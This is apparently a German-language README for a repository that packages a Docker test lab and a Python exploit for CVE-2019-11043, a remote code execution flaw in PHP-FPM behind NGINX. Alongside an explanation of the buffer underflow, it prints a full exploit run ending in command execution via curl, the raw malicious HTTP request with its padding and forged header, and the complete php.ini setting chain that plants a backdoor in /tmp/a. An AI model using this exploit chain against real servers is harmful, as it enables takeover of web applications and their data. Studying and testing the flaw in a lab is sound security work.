
Dieses Repository stellt eine dockerisierte Infrastruktur und eine Python-Implementierung des Exploits CVE-2019-11043 bereit.
Eine Python-Implementierung des CVE-2019-11043-Exploits
Der als CVE-2019-11043 aufgezeichnete Exploit nutzt einen Fehler in der Implementierung von PHP-FPM in Verbindung mit einem NGINX-Server. In bestimmten Konfigurationen führt ein regulärer Ausdruck im FastCGI path_info dazu, dass das FPM-Modul über zugewiesene Puffer hinaus in den für die FastCGI-Protokolldaten reservierten Bereich schreibt. Infolgedessen kann ein Web-Benutzer möglicherweise Code aus der Ferne ausführen. Die folgende Tabelle zeigt die Bewertung des Schweregrads des Exploits gemäß dem Common Vulnerability Scoring System (CVSS).
| Metrik | Wert |
|---|---|
| Auswirkungsbewertung | 5.9 |
| Basisbewertung | 9.8 |
| Schweregrad | Kritisch |
| Zugriffsvektor | Netzwerk |
| Vertraulichkeit | Hoch |
| Integrität | Hoch |
| Verfügbarkeit | Hoch |
Docker-Images:
Python:
Für die Ausführung des Projekts ist eine Installation von Docker und docker-compose erforderlich.
Durch Ausführen des folgenden Befehls aus dem Stammverzeichnis des Projekts sollten alle benötigten Docker-Images heruntergeladen und die Container in der richtigen Reihenfolge gestartet werden:
docker-compose up
Um das Setup daemonisiert auszuführen, führen Sie den folgenden Befehl aus:
docker-compose up -d
Um einen daemonisierten Start zu stoppen, führen Sie den folgenden Befehl aus:
docker-compose down
Beispiel
# docker-compose up -d
Creating php ... done
Creating nginx ... done
# python3 exploit.py --target http://localhost:11043/index.php
🚀🚀🚀 Starting...
? Requesting target to find qsl candidates.
[Response] Status sode is 502 for QSL 1761. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1762. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1763. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1764. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1765. Meets criteria and added as candidate
Post processed QSL candidate(s): 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765
⚙️ Testing found candidates
[Test] QSL Candidate: 1751
[Test] QSL Candidate: 1752
[Test] QSL Candidate: 1753
[Test] QSL Candidate: 1754
[Test] QSL Candidate: 1755
💣 Target seems vulnerable with attack parameters: (QSL:1755/HVL:8): PHPSESSID=b83281b19399d7725091ad4b2b20e530; path=/
✅ Success: Remote Code Execution exploit successfully deployed!
You should be able to run commands using:
🌍 curl http://localhost:11043/index.php?a=bin/ls+/
or
🌍 curl http://localhost:11043/index.php?a=%0asleep+5%0a+/
Diese Schwachstelle wurde während der Qualifikationsrunde der Real World CTF 2019 entdeckt, als der Sicherheitsforscher Andrew Danau feststellte, dass das Senden eines Zeilenumbruch-Steuerzeichens %0A zu einer Ausnahme im Servercode führt.
Der reguläre Ausdruck in der fastcgi_split_path_info-Direktive kann durch das Zeilenumbruchzeichen (in codierter Form %0A) gebrochen werden. Der defekte reguläre Ausdruck führt dann zu einem leeren PATH_INFO, was den Fehler auslöst.
Da env_path_info die Adresse der Variablen path_info ist, ist path_info 0, also ist auch pilen 0. slen ist die Länge der angeforderten URL.

Durch sorgfältig gewählte Länge des URL-Pfads und der Abfragezeichenfolge kann ein Angreifer path_info genau auf das erste Byte der _fcgi_data_seg-Struktur zeigen lassen. Das Setzen von Null verschiebt das char* pos-Feld rückwärts, und das folgende FCGI_PUTENV überschreibt einige Daten (einschließlich anderer FastCGI-Variablen) mit dem Skriptpfad. Mit dieser Technik ermöglicht die Schwachstelle die Erstellung einer gefälschten PHP_VALUE-FCGI-Variablen und dann die Verwendung einer Kette sorgfältig ausgewählter Konfigurationswerte, um Codeausführung zu erreichen.

int ptlen = strlen(pt);
int slen = len - ptlen;
int len = script_path_translated_len;
len ist die Länge des URL-Pfads
http://localhost:11043/index.php/TUD%0aNetSec.php ist/var/www/html/index.php/TUD\nNetSec.phpptlen ist die Länge des Inhalts vor dem ersten Schrägstrich im URL-Pfad
http://localhost:11043/index.php/TUD%0aNetSec.php istpt ist /var/www/html/index.phpDer Unterschied zwischen den beiden Variablen "len" und "ptlen" ist die Länge des in der URL angegebenen Pfads. Da der Pfad dieser beiden gesteuert werden kann, kann auch die Variable path_info gesteuert werden.
Da der Pfad steuerbar ist, können wir den Wert einer beliebigen Adresse auf Null setzen (Zeile 1222). Durch Setzen des Werts der Zieladresse auf Null können wir das char* pos der _fcgi_data_seg-Struktur auf Null setzen. Mit diesem Ansatz nutzen wir einen Pufferunterlauf aus und können globale Variablen in den richtigen Speicherbereich schreiben.
Hash und Länge werden vor den Schlüsseln verglichen. Durch sorgfältige Wahl der richtigen Header und Schlüssel können wir mit Headern hinzufügen. Nach den Erkenntnissen von neex hat die Zeichenfolge "ebut", die zu HTTP_EBUT wird, die gleiche Länge und den gleichen FCGI_HASH-Wert wie PHP_VALUE. Dadurch wird beim Senden einer GET-Anfrage an den Server ähnlich wie
GET /index.php/PHP_VALUE%0Asession_start=1;;;
EBUT: tudda nwsec
der Header HTTP_EBUT zu PHP_VALUE und der Wert session_start=1.
Die folgende Liste gibt dem Ausnutzer die notwendigen Voraussetzungen, die erfüllt sein müssen, um den Angriff durchzuführen.
Im ersten Schritt müssen wir eine Query-String-Länge finden, bei der ein Zeilenumbruch-Steuerzeichen %0A zu einer Ausnahme im Servercode führt und der Server mit einem HTTP-Fehlercode > 500 antwortet. Basierend auf diesen Informationen können wir nun versuchen, PHP_VALUE einzuschreiben und dessen Inhalt zu kontrollieren. Zunächst versuchen wir, eine Session einzurichten. Wenn dies gelingt, sind wir uns der Verwundbarkeit des Servers bewusst. An diesem Punkt wissen wir, dass wir alle globalen Variablen in PHP kontrollieren können.
Unter Verwendung der zuvor etablierten Session zum Server überschreiben wir unsere Voraussetzungen und richten die Servereinstellungen so ein, dass eine Remote-Code-Ausführung ermöglicht wird. Die Autoren des Exploits richten ein Array spezieller PHP-Einstellungen ein. Er aktiviert das automatische Einbinden (auto include), setzt den Pfad auf /tmp, setzt die Log-Datei-Adresse auf /tmp/a und schreibt auch die Payload in die Log-Datei. Schließlich wird die PHP-Datei automatisch eine Log-Datei einbinden, um eine Hintertür zu schaffen.
< GET /index.php/PHP_VALUE%0Asession.auto_start=1?TUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUD HTTP/1.1
< Host: localhost:11043
< User-Agent: CVE-2019-11043
< Accept-Encoding: gzip, deflate
< Accept: */*
< Connection: keep-alive
< TUD: AAAAAAAAAAAAAAAAA
< Ebut: tudda nwsec
<
> HTTP/1.1 200 OK
> Server: nginx/1.17.10
> Date: Tue, 19 May 2020 07:38:58 GMT
> Content-Type: text/html; charset=UTF-8
> Transfer-Encoding: chunked
> Connection: keep-alive
>
<html>
<head>
<title>Exploit PHP-FPM as proposed in CVE-2019-11043</title>
</head>
<body>
<p>Challenge PHP with nginx + php-fpm configurations.</p> </body>
</html>
Die php.ini-Optionskette, die Remote-Code-Ausführung ermöglicht:
php_settings = [
"short_open_tag=1;;;;;;;", # Open short php tab
"html_errors=0;;;;;;;;;;", # Turn off HTML tag in the error message
"include_path=/tmp;;;;;;", # Include Path
"auto_prepend_file=a;;;;", # Specifies the files that are automatically included before the script executes, similar to require().
"log_errors=1;;;;;;;;;;;", # Enable error logging
"error_reporting=2;;;;;;", # Specify error level
"error_log=/tmp/a;;;;;;;", # Error logging file
"extension_dir=%22%3C%3F=%60%22;;;", # Specify the load directory for the extension
"extension=%22$_GET%5Ba%5D%60%3F%3E%22", # Specify the extension to load
]
Hinweis: Semikolons werden verwendet, um Speicherplatz aufzufüllen, sodass PHP_VALUE\nauto_prepend_file=a;;;; 34 Bytes beträgt, was der festen Länge von PATH_INFO entspricht. Dadurch wird sichergestellt, dass alle Einstellungen korrekt in den Speicherbereich geschrieben werden.
PHP stellt das Framework für viele beliebte Websites und Webanwendungen bereit. Da die Verwendung von NGINX-basierten Webservern in Kombination mit PHP 7 allgegenwärtig ist, wurde diese Schwachstelle als kritisch eingestuft. Darüber hinaus ist sie relativ einfach zu implementieren und erzielt bei Missbrauch Persistenz. Da eine erfolgreiche Ausnutzung von CVE-2019-11043 zu RCE führen kann, könnte sie Hackern und Bedrohungsakteuren ermöglichen, eine Webanwendung zu übernehmen.
Der Exploit muss ernst genommen werden, abgesehen von der Tatsache, dass diese Schwachstelle auf bestimmte NGINX-Konfigurationen beschränkt ist; der Standard-Nginx hat dieses Problem nicht.
https://paper.seebug.org/1064/
https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html
https://medium.com/@knownsec404team/php-fpm-remote-code-execution-vulnerability-cve-2019-11043-analysis-35fd605dd2dc
https://github.com/neex/phuip-fpizdam
https://github.com/theMiddleBlue/CVE-2019-11043